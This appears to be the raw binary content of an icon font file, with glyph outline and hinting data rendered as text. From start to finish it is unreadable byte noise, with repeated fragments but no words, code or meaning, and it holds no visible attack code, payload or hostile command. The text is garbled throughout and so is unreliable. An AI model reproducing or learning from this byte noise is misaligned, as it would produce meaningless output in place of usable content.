y"6 	&<7_t_77_t_7q

>>-L--LZM--M//#51'*&!' '
2 /%' l%(:_88_t_77`      k  " 1 H@E/L   	 g  g W _ O,)&%$#"":5@
+"#!"3!2654.;26=301!5!33!26=5"11"H"12X
S
***1""11"5[:M

H*1        ) ? uKPX@-   r ~ p    i Y b R@/    ~  ~    i Y b RY@%+4'&'&"276767"'&'&4767623264/&";265A--KMMK----KMMK--T97_aa_7997_aa_79hh ^[MK----KMMK----KM[qa_7997_aa_7997_a     k    7@4  Y a  Q
	 	
 	+"&462!"&462!"&462"11D21"11E00#11F001D11D11E00E11D10E1    G    ,@)    i  i Y a Q+462"&462"&462"&1E01D11E00E11D10E1#00F11#00E11#11E11          *@'     W _O    $+"'&476%2#&2
2'%%02&2'1%2&       *@'     W _O    $+2764'&"%"3&22&v%%02&2&1%2&    /+  $@! L       v+"&6762"/"&51%1&2&2%L%71&r%%      +(  xK
PX LKPX  L LYYK
PX@       vKPX@     v@       vYY+%'&"2764&"4&"1&1&2&2%q&22&%%   >   @ L    v 
 +"'&'&7676 'ol?AA?look?AA?lo|A?look?AA?lopl?A   i( 	  ' 7 ; K O _ c o {            #/8AJ  !3!26554&#!"#!".54>3!2"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&462"&462"&462l%$$$0000		S		>))		S		>))		S		>))		}}		}}		}}		}}		}}		}}		S		?**		S		?**		S		?**}		}	}		}	}		}}		}}		}}		'STXz%%>%%>P0000	S		S	)*TT**	S		S	*)S}T}S	S		S	)*TT**	S		S	*)S}T}S		     i( 	  ' 0 9 B R V b n ~    T:1(LKPX@j!r  g	
i$   g  g+#! "!"g)&g*('%g W _ O@k!!  g	
i$   g  g+#! "!"g)&g*('%g W _ OY@hpodcXWDC

xuo~p}igcndm][WbXaVUTSLICRDQA@=<8743/.+*$!

63,+!3!26554&#!"#!".54>3!2!"&462"&462"&462"&=46;2#'35#3"&46;2#"&46;2#3"&=46;2#'35#3"&46;2#"&46;2#5#"&=46;2"&=#32+"&463l%$$$0000ST		S		>))		}}		}}		S		?**}		}}		S		S*}		Xz%%>%%>P0000			S		S	*)S	S		S	*)S$		+		+		 	      + 7 C ^ g p @ZOL     g  i  i ig		W	_
		O98,,!   onkjfebaRQGF?<8C9B,7,620'$ +!*  6+7"&5463!2#%!!"&463!2#3"&463!2#"&463!2#3"&463!2#"&4?>76&''4&"267"&462h		N}		M		N}		M		|$"*2F11F2		*e}X	W&$44H33 	  jkR   ) 2 ; D M V _ o@l'L   g  	g	
	ii W _ O^]ZYUTQPLKHGCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&4&"267"&4624&"267"&4624&"267"&462|
$$%	t%	q-*%4$$4%}*%4$$4%})$4%%4$K$%$		%zl<		$$4%%		$$4%%		$$4%%     jkR ' 9 ? Q @O:
 GLKPX@<  r 
g 
 
g   g g 		W 	_ 		O@=   
g 
 
g   g g 		W 	_ 		OY@ A@  KIFD@QAQ=;41,) ' &4%+%41#"&=463!2"&=#32+"&46363!2#!"&54?3265%!+3!2654&}N}*}		:
$$%	t%	qd#!		66		!$%$		%zl     j( 	  ' 0 9 B \ e n     `@:1(ZwHPLKPX@o  r  g	
i"  ! g !% ! g#i  g Yi $g W _ O@p   g	
i"  ! g !% ! g#i  g Yi $g W _ OY@TDC

úô~zysqnmjidc`_VRLJC\D\A@=<8743/.+*$!

63&+!3!26554&#!"#!".54>3!2%"&462"&462"&46232;2#01#"&=464&"26&462"74632#"'.#"2767#"&=>32"&%4&"26&462"!"&463!2!"&463!2l$$$$00//STqA--s2L33J4%
(-EI1L--t4I44J<				<			X~&&:'':T2211		ig
Q0#H//H/S$/	
2

-%0$I./H/T$      j( 	  ' 0 9 B Y f z@w:1(LL   g	
i   g  i  i W _ O

dc^]YWRQHGA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&4?&54>2#74."2>l$$$$00//ST'CNC('C(/080/90X~&&:'':T2211		%3'C''CND'009/0  	  j( 	  ' 0 9 B Y f rK
PX@:1(OWLKPX@:1(OWL@:1(OWLYYK
PX@V rrr  g	
i   g  g i W _ OKPX@Prr  g	
i   g g i W _ OKPX@V rrr  g	
i   g  g i W _ O@W rr  g	
i   g  g i W _ OYYY@8ig[ZDC

nlgrira`Zf[fSQLKHGCYDYA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&=!"&=463!2"&5462#"&46;2l$$$$00//STw	N	6}		}X~&&:'':T2211			!!		66	3			      (  + 7@4~  i   Y  _   O###"53+#!"&5463!2#";26=3264&+54&"fDHcfE?Gc&&~HcfE?Gcf&&      (   $@!      v53+#!"&5463!2!264&#!"fDHcfE?GcYB~HcfE?Gcfn&&    0 C 5@2CL       W   _  OA@;:32)'+6&'.!654&'.7>'!.7467>6201"/&462d2
!
&gM
DA=D`S%&
!}hpYRnN	
 	
	K`%
E2&ma!J<G@	@O.A	"	DztymTum	

	    gR   + 7 H T ` l x      y@! LKIKPX@{  r   p ~
!	  g  i  i  i  i  i$#"W$#"`P@}     ~ ~
!	  g  i  i  i  i  i$#"W$#"`PY@Pzynmba98-,}yztqmxnwhealbk^]XWRQLKED?<8H9H30,7-6#5#6#5%+"&=46;2+7"&46;2+7"&46;2+7"&46;2#3"&46;2"&=462"&5462"&52+"&463#2+"&463#2+"&=462'"&=462'"&=462'"&=462.54>+&/767'&>;.
1

y

\

\

]

]

\

u

0
		]

]

\

m

0
!$bF#MJ@)	Q8RA

0

0

z

\

e

1		
0

z

\

\

\

\

]

]rm@#!E51
*W     t>   , '@$!  L     W   _  O7+!%%62#!"&5461&'&'&7676`:L$*)$M8/ؙuO!$!:op9!$!P        .    # , 5 ^@[	
i  Y a  Q.-%$
	 21-5.5)($,%, ##	
 +7"&462!"&462!"&462%"&462!"&462!"&462#11F00&"11E00*"11E11G#11F00&"11E00*"11E111D10E11E00E11E01D11D10E11E00E11E01D1          : ]@Z#L 	 	i g   g
  Y
  a Q
	 8631+(!	
 +%2"&46!2"&463!2754&#%!2#!"&'&'&#"&4632%%4&&%%4&&>|	V !-		D)":$4%%4$$4%%4$>	* 	O4-(:0    vf B ^ b    @fL    g  

i g  		gYaQdcCC|zwvnkcdba`_C^C]ZXUTQOLJGF+%.767>/&/&'&'&?2676&'&'&7>76%546232+"&=#"&46337#72+"&/0#&'&"&4632"&4623"&462
(#9IYWPSj	#$I1u<	
 D8R)'
	w]ZbeS@'"-}		}}		j~-35	!C]
CI;*5	#$ZWPS5$	$(<]Zbd((

</B	QM}		}}		}6)


      v( 3 7 R [ d p |  @;L  gg  

i  g  i  		gYaQrqfe]\TS98 wuq|r{kiepfoa`\d]dXWS[T[OMJIC@8R9R7654-*!  32+%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462"&46;2#!"&46;2#%.>.6?		z);.*:
			"
"" ~.36		!	D\		M		h
RT
=d2$C'1$)D})

C<A0     v(  ' + ; ? O S c      @  aM9YE1	L   g   g'%#&$"i
		g  i) g(i  g!Y!a+ *QedUTPPA@<<-,((ȼtqkhde][TcUcPSPSRQIG@OAO<?<?>=53,;-;(+(+55,+462"&5'"&=463!2"&=4&#!"35'32+"&=4635'32+"&=4635'32+"&=462#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462%%	`	S}}}		z);.*:
			"
"" ~.36		!	D\d*$$**		?))*dd*))*dd*))*dd2$C'1$)D})

 	  v(   # / c g    @kL 
 
g   g g g g  i g		i  gYaQih10%$ }zysphigfed]ZQPLK@=740c1b+($/%.#" 
 +"&463!2#"&463!2#%"&463!2#"&463!2#2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462		r		r								g		z);.*:
			"
"" ~.36		!	D\S2$C'1$)D})

   R   ( 1 5 E I Y ] m q    @L! g  i   g    g	
i 
 
g)'%#(&$"gW_Osrnn_^ZZKJFF7622*)! |yrsnqnqpohe^m_mZ]Z]\[TQJYKYFIFIHG@=6E7E252543.-)1*1%$ (!(#9*+37#72+"&/&'&"&46323"&4623"&462!%!2#!"&54635'32+"&=4635'32+"&=4635'32+"&=4635'32+"&=46-36	 
\kk	}	}	}	}	*
	q*	f			SS*	}		}	*SS*	}		}	*SS*	}		}	*SS*	}		}	   	  v( 3 7 R [ d    @{tme;LK	PX@p r p  g  i  i  ij  

i  g  i  		gYaQKPX@q  p  g  i  i  ij  

i  g  i  		gYaQ@r  ~  g  i  i  ij  

i  g  i  		gYaQYY@O]\TS98 xwkia`\d]dXWS[T[OMJIC@8R9R7654-*!  32 +%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#"&54?6?64&#?6763232?#"&462".4>2'2>4."		z);.*:
			"
"" ~.36		!	D\?9_88_r`88`9-M--MZL--Ld2$C'1$)D})

('
	&8_r_88_r_8)-MZM--MZM-   v(    # , 5 i m    @qL  g  i	
i  i gi  gYaQon76yvnomlkjc`WVRQFC=:6i7h430/+* +4&"267"&4624&"267"&4624&"267"&4622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462*%4$$4%}*%4$$4%})$4%%4$r		z);.*:
			"
"" ~.36		!	D\^		$$4%%		$$4%%		$$4%%2$C'1$)D})

     v Q U q z  f@6YLKPX@ 
r 		~  

g  g  g! g  i g i   i  g  gYa Q@ 

 		~  

g  g  g! g  i g i   i  g  gYa QY@F|{srWV{|wvrzsznlhga^VqWqUTSRNLIGFDA?><875410$'# "+%#"&=#"&54?63!23232"&5#"&5#"&5#!2#!!2#!!2#!"&537#72+"&/&'&#"&4632"&4623"&462573+57	-	-0	^4		%		-26!
C\3	%	-		-	O		d		I		q	)

	    v( , 9 m q       \@#&uLK	PX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QK
PX@ r ## && &&~*  r 	 	g $$Y  j"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@ r ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QKPX@  ## && &&~*  r 	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-Q@  ## && &&~*   	 	g  j$"#i2!(1i'/% 0 i )  i  i, g+
i  gYa.-QYYYYA}             s r ; : . -                                                          } z r  s  q p o n g d [ Z V U J G A > : m ; l 4 3 - 9 . 9 " !    
     ,  , 3  +"&'&>264&'#.54>32&'.""&54622#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&46226=4&""&=462'";26=4&#54>32#"6;2+"&5'264&""&5462"&5462264&+"&463+<%3&!420+=%3& e1			z);.*:
			"
"" ~.36		!	D\)):)(!W/$!  ! e*9))9*		@-!		!
) &-!	!@&)	M			2$C'1$)D})

kk*,k++k,k$		$62&"$!!_
		!,>=,!
     v( 3 7 R [ d }      %2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;#762'46?#./>3"/&/57'&47>;		z);.*:
			"
"" ~.36		!	D\
.	$
	-,

#.
.	$
	-,

#.&
.	$
	-,

#.d2$C'1$)D})

07
!6
6!	07
!6
6!	17
!6
6!	    jR 	  ' 0 9 B a k t }          	@¹%L  gi.g#!" i/g	
 i   ) g ) (&)(i0& %&%g  g  'i $ '+$'g-+2,1*+*i W _ OϦbb|{xwsronbkbkhea_\YVSLIA@=<8776333+!54&#!"!3!2653#!".54>3!2!"&462"&462"&4627&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&462&=4>3!2+"&46;265!"%54&#!"7"&462"&462"&46237#72+"&/01&'&"&4632"&4623"&462*q%%q%%)0000ST000S		S${	$%TSS<0//)		)%z%$SSTi~.36	!	D\^?$$i%$0000				S0061%b)?$$??					S0/6/%b*>%%>>		ݓ*

	   v    . O _ c g    @k
?	
Lc> J   g  i 
	
g 	 	gYaQihPP0/!}zysphigfeda`P_P^:965/O0O.!.+7>'%.546;+'!!"&?>3%6%2"&=!"&/76&546"&'&62#%!'%37#72+"&/&'&"&4632"&4623"&462G
		#->)L	WL	 #	
GLW
L
*?-36		!	D\`
KO	Az!*
%
*		y
"
*
%
*!\)

   v   ' 0 g   @h
<6OL 
g 
 
g  i g   g    g	Y	aQ)( |ymkebZWTQGEA>9831-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462!2"&54&#!"&/&+"3!2#!"&54?>;2'.+".?>;2.67.?>;2&/.+"~.36		!	D\$		%(	+		%( "

,! ,-
)

$H
	]m,$nYI+	*T!	+~	   v( ' [ _ z  cLKPX@\  r 
 
g   g g  i g		i  gYaQ@]   
 
g   g g  i g		i  gYaQY@@|{a`)(  {|wurqkh`zaz_^]\URIHDC85/,([)Z ' &45+41#"&=463!2"&=#32+"&4632#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462}	M	}*}		I		z);.*:
			"
"" ~.36		!	D\4#!		6		6		!2$C'1$)D})

    
  v-   ' 0 W m { ~  @}bmLK%PX@ 
r   r ~ ~      

i  jg  i  i g    g	Y	aQ@ 

    ~ ~      

i  jg  i  i g    g	Y	aQY@I||nn)( |~|~n{nzutkjed`_ZYPO=<-,(0)0$#' '+37#72+"&/&'&"&4632"&4623"&462.67>54."'.546762762"/"&4?622"/&4635&>2654/&'"2'&/&5462"."2""&7462"&5-36		!	D\z
2:AppAPCN^LABC@&'CuuJ	1_%/3F2%
/3F3@)

#m?CsCCsCL|#WO'(('ADOIwxI	*aa#		**&	
	*)&		      R    ' + ; ? O S n w          
  !%!2#!"&546!%!2#!"&546!%!2#!"&546!%!2#!"&546737#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&46237#72+"&/&'&#"&4632"&4623"&462%37#72+"&/&'&#"&4632"&4623"&462wt_	*wt_	wt_	*wt_	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	Y!&
f
)0	D	(w*	`			*w*	`			w*	_	*w*	_	o&

		ao&

		mo&

		ao&

		     A'   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5MUTS#00#"11"}=z=*SS.TQTTRS0#"11"#0R@==?|y		yy		   A1   ? M@J		    i
	g W _ O  =<98541/*'"   5#+5>232#!"&546;5."#"3!2654&+"&=#"&5C[[I#00#"11"6r7>I				I.UTZ[US0#"11"#0R<77;				ddd   A'   2@/    Y   a  Q    5#+5>232#!"&546;5."MUTS#00#"11"}=z=.TQTTRS0#"11"#0R@==?     " , 6 B N Z Y@V   g	 
 i 
 
i W _ O--## @?:9-6-620#,#,)&	 "!+0137>3!232+#!"&'#"&4633!267/.#!"462"&5.?>&/&>}D#$D		,>
7#	#8
>,		W<"!<?@

#*+${*u*
									     " , 5 A M Y `@] 

 ~   g	 
 i W _ O--## ?>98-5-51/#,#,)&	 "!+2137>3!232+#!"&'#"&4633!267/&#!"462"&5.?>&/&>hgG+#,F#=
>&	'>
<$c:;?	@%/0's>i>     ) 5 A M A@>  g 	 Y
 		i Y _ O  43.- ) )&3##3# +#"&46;7>3!232+#!"&''.#!"26=4&"76.6%'.>A		D#$D		B<-
-(?@


""
						
    (  + 2 ? L U _@\  g 		g  g  
g
 
i  Y  a Q,,TSPOJIDC=<76,2,2%##33%"+264&"!2#!3!2#!"&'#"&46;2!26?4>2".%4>2".7264&"%4$$4%	 ;(:%		4Q
el		};7#08009/_080/90*$4%%3%%%4$$	'5)%/B3	 z0080/009/0%%4$$    3  , 3 @ M V _@\  g 		g  g  
g
 
i  Y  a Q--UTQPKJED>=87-3-3$3$33%"+264&"!2#!3!2#!".'#"&46;2!26?4>2".%4>2".7264&",* B+4"%A,dc} 6/5>54>5_5>55>5?,,,+9!*!9$44>5544>55,     ( " / < R@O    ~   g  g
Y
a	Q10$#760<1<*)#/$/##33% +!2#!3!2#!"&'#"&46;22".4>!2".4>	 ;'9%		4Q
el		}]0080/|009/0	'5)$0B3	L08009/080/90    (  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	          F W k e@b)hbL 	 
 i i  i Y a QYXIG fd_^XkYkPOGWIV87#" +2"'&'.4676761".5467276767>54&'&'&'#2>54.'2".=326564'VXSQ&"&R;QSXWTP<RS;PTW:CssC<<""%'1HOQQOI!"L1' 8[57_t_75[8..6. +#"A%"=h2@"##"@2h2i1@##\HVDsCCsD.P 0 0	-.*< !! <!0	Y,>9^7:_88_:7^9l.6..,        ! mLKPX@" r   gW` P@#    gW` PY@ !  +232#!"&=46;&5463!!,	RM	,OF,z,S   (  # 2 C@@  ~ g   W  _  O 1.)(#"	 +!".54>3!2"3!2654&#4?62#!"&:t$=##=$$=##=P	

	Jl#=$$=##=$t$=#7t7	

	    (   " B@?    ~g   W   _  O  !  +!%!"3!2654&2?64&#!"a&#22##22n	

	J&]2##22##2	

	     -  # 4 "@# 4L     v,++%&27%>4&6"'%.>6"'%.>^]


8&e	
f&&e	
f&e#&&#	,$%&"    ? = G Q g f@cSGgQ5
	f0)(!L   ~ ~     i Y a Qdc	+76217621"/&'"&4?'"&4?.6?'&4?62764'1&"764'1&"6?627<}<)Ku'dg)yy.yy!'tOt

				
	.!!K YX .q<}<*Su'!yy-y})gd'uKu
	



		.!XX!K!!.   
      # , 5 K c z N@432
LK
PX@Q 

 ~   i   ii	i W _ OKPX@K 

   i   ii	i W _ O@Q 

 ~   i   ii	i W _ OYY@=76%$
	 |{qpedML6K7K10)($,%, ##	
 +2"&462"&46!2"&462"&46!2"&46.'7"&'&'&>"'"767>'&'1&'&!'&'&547>762%!654'&'&"&&s&A&[&*0)i	!!')%
,
	2''Z]]Z''53W>=gkkg=>.&&S&&&&&&&&)	\.*%!&+"			CLOSe]Z''''Z]eTC"w}kg=>>=gk}   {c=   ( + 3 V c @*	FEW LRK 		
  g 	g  i  i h Y  i   W   _ O,,))  b`ZXTSQOIGDB?=75,3,3210/.-)+)+"('  ##+3!4&#!#13265"&54?63!2#''##37#"'&5476;54&#"5632;#.'5#"326 	  	O;:%%*.&%!">#(',		!	c	 M q 	<}\\J&%&	&l&)>   jR  B [ p @,65LK
PX@;    	 	i    i  iYa
QKPX@4   	 	i    i iYa
Q@;    	 	i    i  iYa
QYY@]\DCgf\p]pPOC[D[#,+462"&#.?67>754&+"&#&63276;2727632?6"'.'&47>762'276764'&'&"%3%%3%}*
	yhe]Z''''Z]]Z''''Z]e}kg=>>=gkkg=>>=gk""1""#F$	E#''Z]]Z''''Z]]Z''*>=gkkg=>>=gkkg=>   v<  ( < E N W @@= 0)L       Y a QDC@?76-,! +'%'.4>2&'&67%&6762&462".546264&">.>._O& 4;"_	";4"Oz&64>33
)=('?(818;83;
5;5J>&J6;4		5>(44)=f*(?'*817227 18      .  ) E \@Y    i	g  Y a
  Q** *E*DA?<;8631.- ))
 +"'&'&476762'276764'&'&"546232+"&=#"&463}lh>??>hlli=@@=il}dWT1331TWWT1331TW6&&q@=illi=@@=illi=@\31TWWT1331TWWT13&&      m 3 H ] t 9@6l]5LphdcXTSOC?:*)%#I     vji21+?6276/#/&?#'&57'&6?62'#767'&67%76'46?'"&/762'46?'"/ESKKOG2	`pG	Gpd	6)*`KXOy		)		yKX	Kd*yyyd>?d}
}
WB!CSOB"CW
yK\Cd2%:u	
u:!2`C\??`}}`
      m  3 J d u #K
PX@wu^OEA<8	dJ7L3 IKPX@wu^OEA<8dJ7L3 I@wu^OEA<8	dJ7L3 IYYK
PX@4 

  g 
 	
	i  i  Y a  QKPX@.   g
	i  Y a  Q@4 

  g 
 	
	i  i  Y a  QYY@ |{qpihWV0-(%  +7".54>3!2#!.?2?!2654&#!";276'46?'"&/&?'&6?62/%&462"&4?%"/&4?622222*$''&&;2	&6	6&>		T%%T		>
KKK;::KKq2$121qX%'$&&'
:6&22&
6:S:	KK	:S*KK:?;:KK     
      
1  "#01'7''&7>7898967>7''"/.46?>30127'701701676301327&76709898167670181'#01"'18981'2367181676'5'&'.'#01&#&8	9763012	2?64'&/&'897'77'"'&+"0167181675"/.54?#811OW\#0[?	&\	TM@HJK[X#/!O\[ %"'T%$%3+S!D%Z	"\![\\S
@E7F98!$
"&'O\![O*#`B"\!TG!*[S0#W!WO+ 

SF &%)
 (!&"!1%	Z	&_h[[\*S%E*$""&!99     9 ! 1@.     i   Y   a Q   ! !+5276764'&'&"#47676 `TQ0110QTTQ01uA?kook?AA?ko}u10QTTQ0110QT`ok?AA?kook?A    $ \ ` d h l'K
PX@N   r g    gg
Wg 		g_OKPX@B g   gg
gW_	O@N   r g    gg
Wg 		g_OYY@2ee]]lkjiehehgfdcba]`]`_^\ZWUPMHFCA@>96!#%5#!%5!+5#"&=46;2+!232+"&=46;54&#!32+"&=46;5!"32+"&=46;5463!3535#!3535#K				K*K



KK				KK



K(
6



)	

	
		
	

	*^𚚚     jAR  E /@,A	 L       Y  a   Q>;+54>2>54."&'&'&754&"/&'&'&3!26?54'&F 6@6 ,29ata:32@K	*:*"
D6A%$ʲ 7  7 ]7:c9:b:7^	^**Z D7"	#+     $ ,@) L   Y a Q 
 +"'&'&476762'54&">&qa_7997_aa_7997_aU C97_aa_7997_aa_796iu        : 3@0%  L        W _ O&9%<9+#!"'.46?676763!2'!"47>;2!2(		(g+g!&('
)',
	O2"('!!       ) H Y =@:?L    i   W   _  OJIRPIYJYED53:K+&'&3!267>'	#!"&5467>'4'&54>32"&'&2#"'&547>
!	s"1sA
w	*!	z	"{B1#
	6		

[!		      ( A H@EL 
	
	 	  W  _  OA?:720#%5!%5# +3232#!"&=46;5!32#!"&=46;546;5#"&=463!2+,qlmq,p0l,}tt},t   ( ^"K
PX@0
 L#JKPX@0
 L#J@0
 L#JYYK
PX@6 	 		
	
~ 

 g_OKPX@5 	 		
	
~ 

W_O@6 	 		
	
~ 

 g_OYY@   ^ ^][QOHGFE?>64/.-++"/"&=6?>235#"&'&546?>;+354?632"&'"&=#32#"/.46?>;5KK		G		K(G	K	KK    (  ! "@  i   Y  a   Q+"&'&4767622?64/&">|>>><kiܯ!$	Ci||ikkh?>|%%%    c  # @@=  L     g  g W _ O%%3+>3232"'.7#"&573#7#
0S	

[q>'dA	

	A7=     x 7 ,@)    i  g Y a Q5(++"/&6767>#&'&'&6763276+".7DBDN%&BD),,7_\im65n_[jl_>P'%&BCN%&C,_55p^]in648?     (   2 1@.
 L   i   Y   a Q)(22'+327.72654'&'&#&"'&'&476762>/.OR`t`K?/.OR`973}kh<??<hkkg=>>=gk&Xp_QO/0GM)Wq_QO/0>=gkkg=>>=gkkg=>              # ' + / 3 7 ; ? C G K O @,+*)('&%$#"	!  
  v884400,,(($$    8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #"!
	  -+#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#}*T*S%O!K"KGGBCC?::7622..    ( " , < L \ l |     @&L 	g	
	ggg   W  _   O/-zwrojgb_ZWROJGB?74-</<##32&#+#!.546;56;23546;232!3!26#"&=46;27+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;2+"&=46;25#n$45#WK

K	X)7Xnz	)K		K
	K

K		K

K		K

K	
K		K
g	K

K		K

K	
K		K
g	K

K	\%35$y%3`	``		`3jr
K		G


K		K

K				G

G		G

G		G

		G		G		G		G		G		        e  @    v+>32"/.47P		\6		        e  @    v#+&'&#"2?>4'		\	6		         @ L     v(+#!"/4&54?62	
5			     8 E +@(         vED?>+"&4?>"&4?>.62.6?6267"&4?62' 'ihN'' $55' 'hiN''&44'* ''Nhi' '54$[('Nhi')45$''      (  " *@'      Y  a   Q+"&'&476762'&"2764'&">|>>><kiFm&%f'Ci||ikkh?>|Fl&Z&       @L     v+62"/&462-1&2&2q&1-1&      ;  ! @   v+"'&4762"'&47620&1,1&&1,1&^1&'5(&21&'5(&2    @  ! FK
PX@     vKPX@   v@     vYY+2764'&"2764'&"&2,2&&2,1%^1&'5(&21&'5$%3      q 4 2@/& L    i  g Y a Q5'*'+4676'"&'.367674.'&'&;2>'EDBDN%&MK*-,8^]il64ohm`	?P'%&BDRLD,_55p^\iml7	?
       X   # A@>   g g W _O #" 
	+"&463!2#"&463!2#"&463!2#`  , Q  6! C!!E   , !+ !,  ,! ,  ,    (  ) 1@.  i  Y a  Q  ))
 +276764'&'&"7"'&'&476762}kg=>>=gkkg=>>=gk}_QO/00/OQQO/00/OQl>=gkkg=>>=gkkg=>l/.ORRO.//.ORRO./   (  @     v+"&'&476762>|>>><kiCi||ikkh?>|      (  ) ; A@>8/L     i Y a Q 52 ))
 +"276764'&'&'2"'&'&47676/546;2dWT1331TWWT1331TWd}kg=>>=gkkg=>>=gk	!lC31TWWT1331TWWT13W>=gkkg=>>=gkkg=>	X6
!     E R =@:B%#<. LJ:10 I     vGFMLFRGR?>+%'6'7>5&'&&'54&'&'&?7>=676767&'&".4>2KKCK57
``	>+K	@ KKDK94	a_
<0K?!f'A&&ANA&&A*?9*WP*(SW*.	H_)@9*TS**WW**Eb%ANA&&ANA%      M X   K
PX@57 MJ@
ץ}sqgcL0)$"JKPX@57 MJ@
ץ}sqgcL0)$"J@57 MJ@
ץ}sqgcL0)$"JYYK
PX@;     g  i  i	
i Y _OKPX@5   i  i	
i Y _O@;     g  i  i	
i Y _OYY@³POLK=;64'+'&'.?&'#"&5&746;67'&767267676332+&//>'&/'.=&'&'&'&6?&7'.76767>676754676766'.'&'&/.?&'#"5&746;67'&6767667>32+&/>'& 	


((2

-	
)2:&)*	&-2
	
	*17%+)
+	27&*'7&*


C((	

		T((.-
--"
,/*2	2.
$	2*-P'*&7'*'7
	T((       ? ] l@iIC%	F3	L  
 
i 	 i		Y		a 	QA@
	 TS@]A]640.??	
 +"264&3"264&3"264&"327673276764'&'&"/6?'&'&5476762,""0""""0""""0""{kh=?.II26J]}kg=>>=gk}DJ)"62&31TWWT1331TW ,  ,  ,  ,  ,  , 520SVd<:61 !"20RVUR/1z"+2&&.1LA?%&&%?AA?%&      (  / A L2K
PX@5#	?	-LKPX@5#	?	-L@5#	?	-LYYK
PX@< r    g  	g
 	
	ggW_ OKPX@6   g  	g
 	
	ggW_ O@< r    g  	g
 	
	ggW_ OYY@#CB10EDBLCL><970A1@,*'%//#73+'.#!"#&3!26=32654!"&546;;7!"&546;;##5323k\	#0&1"#0#01"	mV[2%X("12%X2%&P&	p#4K&	qZ   F  / G o J@GF5 ,L       i  i Y a Qa]*+2767#"'&'.=2767"'&'&'&=72767"'&'&'&'&=62#"'&'&'&'&=467676nlZ<-C(bQkH\%=Yfd]9AAGG\%
(6nl\:->DHH1#
;xGH0#.#%62+A1$'# 2'(PP(&O!	O'O 
O':
 :      (  ) I D@A  ~  i  Y a  Q EC53 ))
 +"'&'&476762'276764'&'&"#"'&'&'&5476767632}kg=>>=gkkg=>>=gk}_QO/00/OQRO/00/OR ")' ")$l>=gkkg=>>=gkkg=>l/.ORRO./0/ORRO/0")' ")'          @ *@'L      v"!30!@"@.6+6#!"&5467276?67627676767676=4&#!"
2%#4
+gq*-&"**dg6X"	c 2%%2X" #53%j!NS!MM(uK!#52&!E   (  % <@9L    g Y _ O "
 +!2#!"&546	27>?4&#"}#00#"11u&1O

(0#"11"#0t1&O
    0 ; ;@8732-"	 LKI   W _ O ;9 00+2"/+#'&?5467'.54?627>	';>*	h2`2	\p:	2`2h2f\O*2Bh2`2	:q_	2`2hY
XK       @      v#53+#!"&546;2!2K2f2KJ32Kn3Jt2KK23JK2J      g@SD6
LVKK
PX@B   

 
	
	~     g Y  		i aQKPX@6   
	
	    g Y 		i aQ@B   

 
	
	~     g Y  		i aQYY@ggfdba`^PO875420/.*+3'&'&5>763267673"&#"#5737672627527=4'&'&'&'&/#42;"'&+W{	 Bh
"!6S6?.9"B	12%*.+1@2*	;:D6	$7 
	*	
'"	*      (    )@&  i  Y a   Q  +276764'&'&"2*>=gkkg=>>=gkkg=>\PN-//-NP^}kg=>>=gkkg=>>=gk-/-NPPM./      (   ( c@`K  ~ ~	   g g
W
_ O  '&%#( ( +!"#&3!26=3265.!!7#4&#!5!g%2T%22%?#5W#54?X2%t?(1&X1&#02%X2%7&1s#5S       1 @' J   v+..267>'&'.767>7>_4113@%18$&#84)j",#XX#:?!XZ", +*11*+6KF180EL9"_03&!C>!"3.a"      | 7 I 9@62 E<(&L     i Y a QB?+#+6762"'&'&>26764&'&#01"&5?636/546;2!7^mj\_l35\`7-,'CBKO&%NCAFC	!lC
y'856mj\_k35`-C&%NCA&#'B	X6
"         ) 7 h@e61,L 	   g
 i g W _ O+*"! 43/.*7+7&%!)") 
 +!"3!265."&5463!2#!"264&!5'&"'&"g%22%#53	+++9*)e`KK1&#42%/&1~		+8++9*_ħKK   (   F <@9 i  g   W  a  Q 64'%
 +276764'&'&"2"&46.547>;2+'&'&5467676=4'&}kg=>>=gkkg=>>=gk}'>	y			

l>=gkkg=>>=gkkg=>**	
	       # J &@#       vJI43#"+6?>&'&"&4?>&'&4627.6?62'.6?>7:u T"2,2)poR!+y+qo) />8:y8:6+ 6)o78R +y+qo)-Ey87"2 +2+!Roq+u+ )+ y876 +6* Roq+y+ )+     3  @    W _ O#++%/&4?6!2#!$		\%%

	p&2%     3  @    W _ O#++%?64/&!"3!

%%\

	p&2%     <  @  L     v5+"/&463!2;
     % G @D/	 J   v)'+&'&'&'.'&54767676?676#"&'&'&57676767676s@3-<Ea',Cq?b !"( `{RG	
  :EW',%C2*$77:

